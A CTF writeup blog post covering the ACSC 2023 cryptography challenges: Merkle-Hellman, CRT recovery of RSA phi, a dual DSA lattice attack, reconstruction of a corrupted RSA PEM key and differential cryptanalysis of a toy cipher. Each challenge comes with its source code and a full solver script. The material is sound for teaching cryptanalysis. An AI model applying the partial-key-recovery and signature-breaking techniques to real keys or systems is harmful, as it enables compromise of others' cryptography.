            recover_f3 += coef_inverse[i] * (x ** i)
    
    recover_f = balance_mod(recover_f, 3)
    recover_f3 = balance_mod(recover_f3, 3)
 
    r.sendline(str(encode(n, pad(n, recover_f.coefficients(sparse = False)))))
    r.sendline(str(encode(n, pad(n, recover_f3.coefficients(sparse = False)))))
 
def solve_task2(n, D):
    r.sendline(str(master_seed))
    sel1, sel2, coef_original, coef_inverse = read_input(n, D)
 
    for i in range(D):
        assert n - n // 4 <= sel1[i] < n 
        assert n - n // 4 <= sel2[i] < n
 
    sol, kernel = solve_init(n, D, sel1, sel2, coef_original, coef_inverse)
 
    print("task2 kernel"len(kernel))
 
    recover_f = 0
    recover_f3 = 0
    for i in range(n):
        if i in sel1:
            recover_f += sol[sel1.index(i)] * (x ** i)
        else:
            recover_f += coef_original[i] * (x ** i)
    
    for i in range(n):
        if i in sel2:
            recover_f3 += sol[sel2.index(i) + D] * (x ** i)
        else:
            recover_f3 += coef_inverse[i] * (x ** i)
 
    recover_f = balance_mod(recover_f, 3)
    recover_f3 = balance_mod(recover_f3, 3)
 
    r.sendline(str(encode(n, pad(n, recover_f.coefficients(sparse = False)))))
    r.sendline(str(encode(n, pad(n, recover_f3.coefficients(sparse = False)))))
 
st = time.time()
 
solvePoW()
 
for _ in tqdm(range(8)):
    solve_task1(241183)
 
for _ in tqdm(range(8)):
    solve_task2(85012125)
 
print(r.recvline())
 
en = time.time()
 
print(en - st)
cs

 

'CTF' 카테고리의 다른 글

ACSC 2024: Strange Machine (4 solves)  (0) 2024.03.31
Paradigm CTF 2023 2nd Place  (0) 2023.10.31
ACSC 2023 Writeups  (0) 2023.02.26
HackTM CTF Writeup  (0) 2023.02.22
BlackHat MEA Finals  (0) 2022.11.21

Finished 8th in ACSC Quals 2023. Solved all cryptography challenges and warmup rev. I had a alumni meetup with NEXON Youth Programming Challenge award winners, so I went home at like 9PM with a beer and sangria inside me.

(Here, sangria is not the recent folding scheme for PLONK from Geometry Research)

 

Kinda gave up on the whole ACSC thing until it was around midnight, then I saw that I could make it if I solve all cryptography challenges.

So I hurried to do so and finished around 5:30AM, then solved the warmup rev. Turns out that this was a good idea.

 

Merkle-Hellman

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import random
import binascii
 
def egcd(a, b):
    if a == 0:
        return (b, 01)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
 
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('modular inverse does not exist')
    else:
        return x % m
 
def gcd(a, b): 
    if a == 0
        return b 
    return gcd(b % a, a) 
 
flag = open("flag.txt","rb").read()
# Generate superincreasing sequence
= [random.randint(1,256)]
= w[0]
for i in range(6):
    num = random.randint(s+1,s+256)
    w.append(num)
    s += num
 
# Generate private key
total = sum(w)
= random.randint(total+1,total+256)
= 0
while gcd(r,q) != 1:
    r = random.randint(100, q)
 
# Calculate public key
= []
for i in w:
    b.append((i * r) % q)
 
# Encrypting
= []
for f in flag:
    s = 0
    for i in range(7):
        if f & (64>>i):
            s += b[i]
    c.append(s)
 
print(f"Public Key = {b}")
print(f"Private Key = {w,q}")
print(f"Ciphertext = {c}")
 
# Output:
# Public Key = [7352, 2356, 7579, 19235, 1944, 14029, 1084]
# Private Key = ([184, 332, 713, 1255, 2688, 5243, 10448], 20910)
# Ciphertext = [8436, 22465, 30044, 22465, 51635, 10380, 11879, 50551, 35250, 51223, 14931, 25048, 7352, 50551, 37606, 39550]
cs

 

This is a knapsack-based cryptosystem, and we know practically everything here. Just decrypt it.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
 
pk = [735223567579192351944140291084]
sk = [18433271312552688524310448]
= 20910
ctxt = [843622465300442246551635103801187950551352505122314931250487352505513760639550]
 
 
df = sk[2* inverse(pk[2], q)
 
res = b""
 
for c in ctxt:
    c = (c * df) % q 
    f = 0
    for i in range(6-1-1):
        if c >= sk[i]:
            f += (1 << (6 - i))
            c -= sk[i]
    res += bytes([f])
 
print(res)
 
cs

 

 

Check Number 63

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import *
import gmpy2
from flag import *
 
= open("output.txt","w")
 
f.write(f"n = {n}\n")
 
while e < 66173:
  d = inverse(e,(p-1)*(q-1))
  check_number = (e*- 1// ( (p-1)*(q-1) )
  f.write(f"{e}:{check_number}\n")
  assert (e*- 1) % ( (p-1)*(q-1) ) == 0
  e = gmpy2.next_prime(e)
  
f.close()
 
 
cs

 

We have $n$ alongside 63 pairs of $(e, k)$ where $$ed = k \phi(n) + 1$$ The goal is to factor $n$. First, the central idea is to note that $$k \phi(n) + 1 \equiv 0 \pmod{e}$$ so we recover $$\phi(n) \equiv - k^{-1} \pmod{e}$$ Combined with CRT, this gives us $$\phi(n) \pmod{ \prod e}$$ which is around $63 * 16 = 1008$ bits of information. Meanwhile, we since $$\phi(n) = n + 1 - (p + q)$$ we have a 1025 bit range for $\phi(n)$. We can easily brute-force all possible values of $\phi(n)$, then recover $p, q$ from $n, \phi(n)$. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
 
# ed = k phi(n) + 1
# k phi(n) + 1 == 0 mod e
# phi(n) == -k^-1 mod e
 
= # given number here
 
def iroot(v, r):
    return Integer(v).nth_root(r, truncate_mode=False)
 
tt = open("output.txt""r")
tt = tt.readlines()
 
vals = []
mods = []
 
for l in tt:
    wow = l.split(":")
    e = int(wow[0])
    res = int(wow[1])
    vals.append(int(e - inverse(res, e)))
    mods.append(e)
 
cc = int(prod(mods))
 
phi_cc = int(CRT(vals, mods))
 
for l in tt:
    wow = l.split(":")
    e = int(wow[0])
    res = int(wow[1])
    assert (phi_cc * res + 1) % e == 0
 
from tqdm import tqdm
 
for i in tqdm(range(1 << 20)):
    tot = int((n - phi_cc + 1) % cc)
    tot += i * cc
    phi = n - tot + 1
    assert phi % cc == phi_cc 
    try:
        p = (tot - iroot(tot * tot - 4 * n, 2)) // 2
        q = tot - p
        assert p < q 
        assert p * q == n
        print(p, q)
        from hashlib import sha512
        flag = "ACSC{" + sha512( f"{p}{q}".encode() ).hexdigest() + "}" 
        print(flag)
    except:
        pass
 
 
 
 
 
 
cs

 

 

Dual Signature Algorithm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import os
from hashlib import sha256
from Crypto.Util.number import getPrime, isPrime, getRandomNBitInteger, inverse
 
 
flag = os.environ.get("FLAG""neko{cat_are_the_most_powerful_beings_in_fact}")
 
 
def h(m: bytes) -> int:
    return int(sha256(m).hexdigest(), 16)
 
 
def gen_prime():
    while True:
        q = getPrime(520)
        p = 2*+ 1
        if isPrime(p):
            return p, q
 
 
p1, q1 = gen_prime()
p2, q2 = gen_prime()
 
if q1 > q2:
    (p1, q1), (p2, q2) = (p2, q2), (p1, q1)
 
= int((os.urandom(512 // 8 - len(flag) - 1+ flag.encode()).hex(), 16)
= 4
y1 = pow(g, x, p1)
y2 = pow(g, x, p2)
 
 
def sign(m: bytes):
    z = h(m)
    k = getRandomNBitInteger(512)
    r1 = pow(g, k, p1)
    r2 = pow(g, k, p2)
    s1 = inverse(k, q1) * (z + r1*x) % q1
    s2 = inverse(k, q2) * (z + r2*x) % q2
 
    return (r1, s1), (r2, s2)
 
 
def verify(m: bytes, sig1, sig2):
    z = h(m)
    r1, s1 = sig1
    r2, s2 = sig2
 
    s1inv = inverse(s1, q1)
    s2inv = inverse(s2, q2)
    gk1 = pow(g, s1inv*z, p1) * pow(y1, s1inv*r1, p1) % p1
    gk2 = pow(g, s2inv*z, p2) * pow(y2, s2inv*r2, p2) % p2
 
    return r1 == gk1 and r2 == gk2
 
 
= b"omochi mochimochi mochimochi omochi"
sig1, sig2 = sign(m)
 
print(f"g = {g}")
print(f"p1, p2 = {p1}, {p2}")
print(f"y1, y2 = {y1}, {y2}")
 
print(f"m = {m}")
print(f"r1, s1 = {sig1}")
print(f"r2, s2 = {sig2}")
 
cs

 

I overcomplicated this problem way too much - the easier solution is combining the two signature schemes via CRT then LLL.

I tried some straightforward lattices without the CRT idea, but it didn't give me the answer. Here's my solution.

 

Start with the equations $$ks_1 = z + r_1x + c_1q_1, \quad ks_2 = z + r_2x + c_2q_2$$ where $c_1, c_2$ each have absolute values of at most something like $2^{515}$. We'll cancel out the $k$ in the equations to get $$s_2(z + r_1x + c_1q_1) = s_1(z+ r_2x + c_2q_2)$$ or $$(s_2r_1 - s_1r_2)x = (s_1 - s_2)z + (s_1q_2) c_2 - (s_2q_1) c_1$$ This gives us a system - we want $$-2^{515} \le c_1, c_2 \le 2^{515}$$ as well as the linear equation $$(s_1q_2) c_2 \equiv (s_2q_1) c_1 + (s_2 - s_1)z \pmod{s_2r_1 - s_1r_2}$$ While there are some GCD issues like $\gcd(s_1q_2, s_2r_1 - s_1r_2) = 2 \neq 1$, in essence this is the same type of problem as $$S \le c_1 \le E, \quad L \le Ax + B \bmod{M} \le R$$ which is the exact task that the special case of my CVP repository solves. After getting $c_1, c_2$, the rest is easy linear equation. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
def ceil(n, m): # returns ceil(n/m)
    return (n + m - 1// m
 
def is_inside(L, R, M, val): # is L <= val <= R in mod M context?
    if L <= R:
        return L <= val <= R
    else:
        R += M
        if L <= val <= R:
            return True
        if L <= val + M <= R:
            return True 
        return False
 
def optf(A, M, L, R): # minimum nonnegative x s.t. L <= Ax mod M <= R
    if L == 0:
        return 0
    if 2 * A > M:
        L, R = R, L
        A, L, R = M - A, M - L, M - R
    cc_1 = ceil(L, A)
    if A * cc_1 <= R:
        return cc_1
    cc_2 = optf(A - M % A, A, L % A, R % A)
    return ceil(L + M * cc_2, A)
 
# check if L <= Ax (mod M) <= R has a solution
def sol_ex(A, M, L, R):
    if L == 0 or L > R:
        return True
    g = GCD(A, M)
    if (L - 1// g == R // g:
        return False
    return True
 
## find all solutions for L <= Ax mod M <= R, S <= x <= E:
def solve(A, M, L, R, S, E):
    # this is for estimate only : if very large, might be a bad idea to run this
    print("Expected Number of Solutions : ", ((E - S + 1* (R - L + 1)) // M + 1)
    if sol_ex(A, M, L, R) == False:
        return []
    cur = S - 1
    ans = []
    num_sol = 0
    while cur <= E:
        NL = (L - A * (cur + 1)) % M
        NR = (R - A * (cur + 1)) % M
        if NL > NR:
            cur += 1
        else:
            val = optf(A, M, NL, NR)
            cur += 1 + val
        if cur <= E:
            ans.append(cur)
            # remove assert for performance if needed
            assert is_inside(L, R, M, (A * cur) % M)
            num_sol += 1
    print("Actual Number of Solutions : ", num_sol)
    return ans
 
q1 = (p1 - 1// 2
q2 = (p2 - 1// 2
 
det_v = abs(s2 * r1 - s1 * r2)
 
md_2 = s1 * q2 
md_1 = s2 * q1 
 
= (h(m) * (s2 - s1)) % det_v
 
print(z % 2# 0
print(md_1 % 2# 1
print(md_2 % 2# 0
 
md_2 //= 2
det_v //= 2 
//= 2
 
= (md_1 * inverse(md_2, det_v)) % (det_v)
= (z * inverse(md_2, det_v)) % det_v 
 
BOUND = 1 << 515
 
print(det_v)
 
pepega = solve(A, det_v, det_v -BOUND - B, det_v + BOUND - B, -BOUND, BOUND)
 
print(len(pepega))
 
c_1 = int(pepega[0* 2)
c_2 = int((md_1 * (c_1 // 2+ z) * inverse(md_2, det_v) % det_v)
if c_1 > BOUND:
    c_1 -= det_v
if c_2 > BOUND:
    c_2 -= det_v
 
print(abs(c_1) < BOUND)
print(abs(c_2) < BOUND)
 
LHS = s2 * h(m) - s1 * h(m) + s2 * c_1 * q1 - s1 * c_2 * q2 
RHS = s1 * r2 - s2 * r1 
= LHS // RHS 
print(LHS % RHS)
print(long_to_bytes(x))
 
cs

 

 

Corrupted

We are given a broken PEM file that looks like the following.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAn+8Rj11c2JOgyf6s1Hiiwt553hw9+oGcd1EGo8H5tJOEiUnP
NixaIGMK1O7CU7+IEe43PJcGPPkCti2kz5qAXAyXXBMAlHF46spmQaQFpVRRVMZD
1yInh0QXEjgBBFZKaH3VLh9FpCKYpfqij+OlphoSHlfc7l2Wfct40TDFg13WdpVB
BseCEmaY/b+kxwdfVe7Dzt8kd2ASPuNbOqKvv8ijTgiqpsX5uinjvr/3/srINm8X
xpANqO/eSXP8kO4abOJtyfg2bWvO9QvQRaUIjnYioAkyiqcttbzGIekCfktlA+Rn
JLL19tEG43hubOZAwqGDxvXfKEKx9E2Yx4Da/wIDAQA?AoI?????8S??Om/???xN
3c??0?/G?OO?aQWQB??ECCi??KD?w??2mFc??pTM?r?rX??X+XFW??Rtw?o?d????ZQ?yp?mczG?q2?0O???1o3?Jt?8?+00s?SY+??MG??7d??7k??o?????ci?K??????wK??Y??gqV????9????YA?Hh5T????ICP+?3HTU?l???m0y?6??2???b2x???????+7??T????????n?7????b?P??iL?/???tq???5jLuy??lX?d?ZEO?7???ld???g
?r?rK??IYA???0???zYCIZt2S???cP??W????f???l5?3c+??UkJr4E?QH??PiiD
WLB???f5A?G?A???????????u???3?K???????I???S?????????J?p?3?N?W???
????r???????8???o???m?????8?s???1?4?l?T?3?j?y?6?F?c?g?3?A?8?S?1?
X?o?D?C?+?7?F?V?U?1?f?K?a?F?7?S?b?V?/?v?5?1?V?A?5?G?y?X?AoGB?L?i
?2?C?t?W?s?Z?h?L?t?3?r?d?M?s?U?E?L?P?n?2?U?G?M?g?D?u?E?s?a?h?K?m
?9?/?n?o?J?8?e?9?9?k?N?2?l?T?8?k?b?e?j?n?Q?u?z?z?e?A?S?6?0?w?5?0
?B?V?i?s?R?W?6?Y?6?u?l?s?G?c?Q?2?Q?w?U?l??GA??V?f???kVYfl???WyY?
3J?2fF?h/???UqfpeO???o?k?9kF??a8L?V?w??????J??9?iP????D???JSx??g??IUC0??t7???I??c??????eh/No?????y8???0?E+??1?JC?Oj??HFy??2T?1nV??HH?+???+??s?L?o??K?zc?????BhB2A?????E??b???e?f??KruaZ??u?tp?Tq?c?t?????iQ1qS??h??m?S?/????FDu3i?p???S??Q?o??0s?e0?n?Hv??C?CnM?/Dw
m9?????uC?Ktm????D?e????h7?A??V??O??5/XsY??Y?A???????q?y?gk?Pbq?
????MQK?gQ??SQ?????ERjLp?N??A??P?So?TPE??WWG???lK?Q????o?aztnUT?
eKe4+h0?VkuB?b?v?7ge?nK1??Jy7?y??9??????BP??gG?kKK?y?Z???yES4i??
?Uhc?p????c4ln?m?r???P??C?8?X?d??TP??k??B?dwjN7??ui?K????????-?N? ?S? ?RI?A?? KE?-???-
cs

 

We need to recover the full PEM key. The solution is really hands-on, and it needs some grinding.

The PEM decoding algorithm is in pycryptodome - basically, it's just a DER decoding. So how does DER decoding work?

 

By following the DER implementation in pycryptodome alongside with some debugging, it's basically as follows.

  • 1 byte is consumed as the octet. Not sure what this does. 
  • Then, 1 byte is consumed as the length $l$. If $l \le 127$, then this is the final length.
  • If $l \ge 128$, then the next $l \pmod{128}$ bytes in big endian represent the final length.
  • The "final length" bytes worth of data, in big endian, is the pushed data. 

However, the very first "final length" is actually the full length, so this one should be skipped. 

 

Also, we quickly note that 

  • By comparing lengths, it can be seen that this file is based on 2048 bit RSA. 
  • In this case, the PEM file has a linebreak every 64 characters. Based on this, we can remove some "?" to linebreaks.
  • The first step is to base64 decode the lines between the first and the last ones. By randomly selecting one of 64 choices for each "?" and decoding it multple times, we can figure out which bits in the decoded data are known, and which bits in the decoded data are the ones from the "?"s. This is useful when patching important "?"s so that the length informations makes sense.

The main part is to patch everything so that the length informations makes sense. Since the datasets are $n, e, d, p, q, d_p, d_q, u$ in order, just try every patch that makes sense and does not affect the bits that are actually known. Decoding an actual 2048 bit RSA PEM helps.

 

In the end, we'll have the full $n, e$ and some bits of $p, q, d_p, d_q, u$. However, $u$ is not needed here. 

The rest is relatively well-known - you set up an equation $$pq = n, \quad ed_p = k_p(p-1) + 1, \quad ed_q = k_q(q-1) + 1$$ and solve this equation modulo powers of 2 iteratively. To do so, you need to fix $k_p, k_q$ - it turns out that there are $\mathcal{O}(e)$ possible pairs of $(k_p, k_q)$, so you can try out all candidates. For example, see [HS09]. There is also my challenge "RSA Hex Permutation". 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from sage.all import *
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long 
from hashlib import sha256 
from base64 import b64decode
import string 
import random as rand 
 
raw_pem = open("meme.pem""rb").read()
 
 
ST = b"-----BEGIN RSA PRIVATE KEY-----\n"
EN = b"\n-----END RSA PRIVATE KEY-----"
raw_pem = raw_pem[len(ST): -len(EN)]
print(raw_pem)
 
meme = (string.ascii_uppercase + string.ascii_lowercase + string.digits + "+/=\n").encode()
 
print(len(raw_pem))
 
 
def gen_copy(lmao):
    ret = b""
    for l in lmao:
        ret += bytes([l])
    for i in range(len(ret)):
        if ret[i] not in meme:
            sel = rand.randint(063)
            ret = ret[:i] + bytes([meme[sel]]) + ret[i + 1: ]
    return ret
 
recovered = b64decode(gen_copy(raw_pem))
 
print(len(recovered))
 
EQ = [1* (len(recovered) * 8)
 
for trial in range(50):
    raw_pem_new = b64decode(gen_copy(raw_pem))
    for j in range(len(recovered)):
        for k in range(8):
            if ((recovered[j] >> (7 - k)) & 1!= ((raw_pem_new[j] >> (7 - k)) & 1):
                EQ[8 * j + k] = 0
 
def get_eq(l, r):
    print("EQ", l, r, EQ[8 * l : 8 * r])
 
def patch(org, l, r, patch):
    return org[:l] + bytes(patch) + org[r:]
 
# patch
 
# for e
recovered = patch(recovered, 272273, [1])
# for d length
recovered = patch(recovered, 275277, [11]) # either [1, 0] or [1, 1]
# for p length
recovered = patch(recovered, 535537, [129129])
# for d mod p - 1
recovered = patch(recovered, 799800, [129])
# for d mod q - 1
recovered = patch(recovered, 930932, [129128])
# for u
recovered = patch(recovered, 10611062, [129])
 
cur = 0
vals = []
for i in range(10):
    print("START", i, cur)
    print("octet", cur, recovered[cur])
    cur += 1
    l = recovered[cur]
    print("[+] length heat check", l, cur)
    get_eq(cur, cur + 1)
    cur += 1
    if l > 127:
        tt = l & 0x7F
        real_l = bytes_to_long(recovered[cur:cur+tt])
        print("[+] real length")
        get_eq(cur, cur + tt)
        print(recovered[cur:cur+tt])
        print(real_l, "at range", cur, cur+tt)
        cur += tt
    else:
        real_l = l
    if i == 0:
        continue 
    print("[+] data", recovered[cur:cur+real_l])
    get_eq(cur, cur + real_l)
    val = bytes_to_long(recovered[cur:cur+real_l])
    print("[+] appended", val)
    vals.append(val)
    cur += real_l 
 
print(vals)
 
cs

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
= data[1]
= data[2]
d_val = data[3]
p_val = data[4]
q_val = data[5]
d_p_val = data[6]
d_q_val = data[7]
 
k_p, k_q = 00
 
import sys
sys.setrecursionlimit(10 ** 6)
 
 
def work(ps, qs, dps, dqs, cur):
    if cur == 1028:
        return
    
    nxtps = []
    nxtqs = []
    nxtdps = []
    nxtdqs = []
 
    if cur > 950 and len(ps) == 1:
        # print(ps, cur)
        if n % ps[0== 0:
            print("WOW!!!")
    if len(ps) == 0:
        return
 
    for p, q, dp, dq in zip(ps, qs, dps, dqs):
        if cur >= 1000:
            if n % p == 0:
                print(p)
                print(n // p)
 
        if cur == 1028:
            continue
        
        for pi in range(2):
            if p_conf[-1-cur] == 1 and ((p_val >> cur) & 1!= pi:
                continue
            new_p = p + (pi << cur)
            for qi in range(2):
                if q_conf[-1-cur] == 1 and ((q_val >> cur) & 1!= qi:
                    continue
                new_q = q + (qi << cur)
                for dpi in range(2):
                    if d_p_conf[- 1 - cur] == 1 and ((d_p_val >> cur) & 1!= dpi:
                        continue 
                    new_dp = dp + (dpi << cur)
                    for dqi in range(2):
                        if d_q_conf[-1 - cur] == 1 and ((d_q_val >> cur) & 1!= dqi:
                            continue 
                        new_dq = dq + (dqi << cur)
                        A = abs(n - new_p * new_q)
                        B = abs(e * new_dp - k_p * (new_p - 1- 1)
                        C = abs(e * new_dq - k_q * (new_q - 1- 1)
                        if ((A >> cur) & 1!= 0:
                            continue
                        if ((B >> cur) & 1!= 0:
                            continue 
                        if ((C >> cur) & 1!= 0:
                            continue
                        nxtps.append(new_p)
                        nxtqs.append(new_q)
                        nxtdps.append(new_dp)
                        nxtdqs.append(new_dq)
 
    work(nxtps, nxtqs, nxtdps, nxtdqs, cur + 1)
 
from tqdm import tqdm 
 
for idx in tqdm(range(1, e)):
    if (idx * (n - 1+ 1) % e == 0:
        continue 
    k_p = idx 
    k_q = ((1 - k_p) * inverse(k_p * n - k_p + 1, e)) % e
    work([0], [0], [0], [0], 0)
cs

 

 

SusCipher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!/usr/bin/env python3
import hashlib
import os
import signal
 
 
class SusCipher:
    S = [
        43,  8575348391561,
         74433,  91941,  314,
        4251,  6,  249285531,
         0,  430,  159503547,
        2516372710542658,
        6213182221241220,
        293823326034,  511,
        4563404652361756
    ]
 
    P = [
        21,  823,  6,  715,
        221319162528,
        31323436,  339,
        292624,  14335,
        451247171411,
        273741384020,
         2,  0,  5,  44218,
        44304633,  910
    ]
 
    ROUND = 3
    BLOCK_NUM = 8
    MASK = (1 << (6 * BLOCK_NUM)) - 1
 
    @classmethod
    def _divide(cls, v: int-> list[int]:
        l: list[int= []
        for _ in range(cls.BLOCK_NUM):
            l.append(v & 0b111111)
            v >>= 6
        return l[::-1]
 
    @staticmethod
    def _combine(block: list[int]) -> int:
        res = 0
        for v in block:
            res <<= 6
            res |= v
        return res
 
    @classmethod
    def _sub(cls, block: list[int]) -> list[int]:
        return [cls.S[v] for v in block]
 
    @classmethod
    def _perm(cls, block: list[int]) -> list[int]:
        bits = ""
        for b in block:
            bits += f"{b:06b}"
 
        buf = ["_" for _ in range(6 * cls.BLOCK_NUM)]
        for i in range(6 * cls.BLOCK_NUM):
            buf[cls.P[i]] = bits[i]
 
        permd = "".join(buf)
        return [int(permd[i : i + 6], 2for i in range(06 * cls.BLOCK_NUM, 6)]
 
    @staticmethod
    def _xor(a: list[int], b: list[int]) -> list[int]:
        return [x ^ y for x, y in zip(a, b)]
 
    def __init__(self, key: int):
        assert 0 <= key <= self.MASK
 
        keys = [key]
        for _ in range(self.ROUND):
            v = hashlib.sha256(str(keys[-1]).encode()).digest()
            v = int.from_bytes(v, "big"& self.MASK
            keys.append(v)
 
        self.subkeys = [self._divide(k) for k in keys]
 
    def encrypt(self, inp: int-> int:
        block = self._divide(inp)
 
        block = self._xor(block, self.subkeys[0])
        for r in range(self.ROUND):
            block = self._sub(block)
            block = self._perm(block)
            block = self._xor(block, self.subkeys[r + 1])
 
        return self._combine(block)
 
    # TODO: Implement decryption
    def decrypt(self, inp: int-> int:
        raise NotImplementedError()
 
 
def handler(_signum, _frame):
    print("Time out!")
    exit(0)
 
 
def main():
    signal.signal(signal.SIGALRM, handler)
    signal.alarm(300)
    key = int.from_bytes(os.urandom(6), "big")
 
    cipher = SusCipher(key)
 
    while True:
        inp = input("> ")
 
        try:
            l = [int(v.strip()) for v in inp.split(",")]
        except ValueError:
            print("Wrong input!")
            exit(0)
 
        if len(l) > 0x100:
            print("Long input!")
            exit(0)
 
        if len(l) == 1 and l[0== key:
            with open('flag''r'as f:
                print(f.read())
 
        print(", ".join(str(cipher.encrypt(v)) for v in l))
 
 
if __name__ == "__main__":
    main()
 
cs

 

This is a 3-round block cipher, and a hint is given - use differential cryptanalysis. 

 

Let's find some easy differentials. We collect the $((i \oplus j)[u], (S_i \oplus S_j)[v])$ and see how it behave - and it turns out that the bias is noticeable. We can keep track of an array $pos$, where $pos_i$ denotes the bit location where the original $i$th bit is the most correlated to it. 

 

In the current state, there are 3 S-box applications, so the bias will decrease over those 3 S-boxes. However, if we know a key chunk, for example, the first 6 bits, then the first key addition and the S-box application can be computed directly, so in reality we are only going through 2 S-boxes. Therefore, the correlation between the state just after the first S-box and the encrypted state will be much greater.

We can now brute force all 64 possibilities for all 8 key chunks. 20K random encryptions are enough to reliably find the key.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
from pwn import * 
import os 
 
= [
        43,  8575348391561,
         74433,  91941,  314,
        4251,  6,  249285531,
         0,  430,  159503547,
        2516372710542658,
        6213182221241220,
        293823326034,  511,
        4563404652361756
    ]
 
= [
        21,  823,  6,  715,
        221319162528,
        31323436,  339,
        292624,  14335,
        451247171411,
        273741384020,
         2,  0,  5,  44218,
        44304633,  910
    ]
 
def get_bit(res, w):
    return (res >> (5 - w)) & 1
 
 
bits = [[[0000for _ in range(6)] for _ in range(6)]
 
for i in range(64):
    for j in range(64):
        # i ^ j => Si ^ Sj 
        for u in range(6):
            for v in range(6):
                t1 = get_bit(i ^ j, u)
                t2 = get_bit(S[i] ^ S[j], v)
                bits[u][v][2 * t1 + t2] += 1
 
 
mx = 0
for i in range(6):
    print("[+]", i)
    mx_j = 0
    for j in range(6):
        mx_j = max(mx_j, bits[i][j][0])
    print(mx_j)
    for j in range(6):
        if bits[i][j][0== mx_j:
            print(j)
 
 
sub_loc = [501105]
 
 
def track_sub(pos):
    ret = [0* 48
    for i in range(48):
        loc = pos[i] // 6
        md = pos[i] % 6
        ret[i] = 6 * loc + sub_loc[md]
    return ret
 
def track_perm(pos):
    ret = [0* 48
    for i in range(48):
        ret[i] = P[pos[i]]
    return ret
 
full_enc = [i for i in range(48)]
for i in range(3):
    full_enc = track_sub(full_enc)
    full_enc = track_perm(full_enc)
 
part_enc = [i for i in range(48)]
part_enc = track_perm(part_enc)
for i in range(2):
    part_enc = track_sub(part_enc)
    part_enc = track_perm(part_enc)
 
plaintexts = [int.from_bytes(os.urandom(6), "big"for _ in range(256 * 80)]
 
= []
 
for i in range(80):
    st = ""
    for j in range(256):
        st += str(plaintexts[256 * i + j])
        if j != 255:
            st += ","
    l.append(st)
 
 
conn = remote("suscipher.chal.ctf.acsc.asia"13579)
 
conn.sendlines(l)
 
results = conn.recvlines(80)
 
enc = []
 
for i in range(80):
    encs = results[i][2:].split(b",")
    assert len(encs) == 256
    for j in range(256):
        enc.append(int(encs[j]))
 
 
key = 0
 
for i in range(8):
    res = [[0 for _ in range(6)] for _ in range(64)]
    fin = [0* 64
 
    dat_eq = 0
    tot = 0
    
    for idx in range(len(enc)):
        plaintext = plaintexts[idx]
        ciphertext = enc[idx]
 
        ptxt_block = (plaintext >> (6 * (7 - i))) & 63
        for loc in range(6):
            for k in range(64):
                bit_org = (S[k ^ ptxt_block] >> (5 - loc)) & 1
                bit_res = (ciphertext >> (47 - part_enc[6 * i + loc])) & 1
                if bit_org == bit_res:
                    res[k][loc] += 1
 
    for idx in range(64):
        for u in range(6):
            fin[idx] += abs(res[idx][u] - len(enc) // 2)
 
    v = 0
    for idx in range(64):
        v = max(v, fin[idx])
    
    ans = 0
    for idx in range(64):
        if v == fin[idx]:
            ans = idx
 
    key += (ans << (6 * (7 - i)))
 
conn.sendline(str(key).encode())
print(conn.recvline())
 
 
 
 
cs

 

 

Serverless

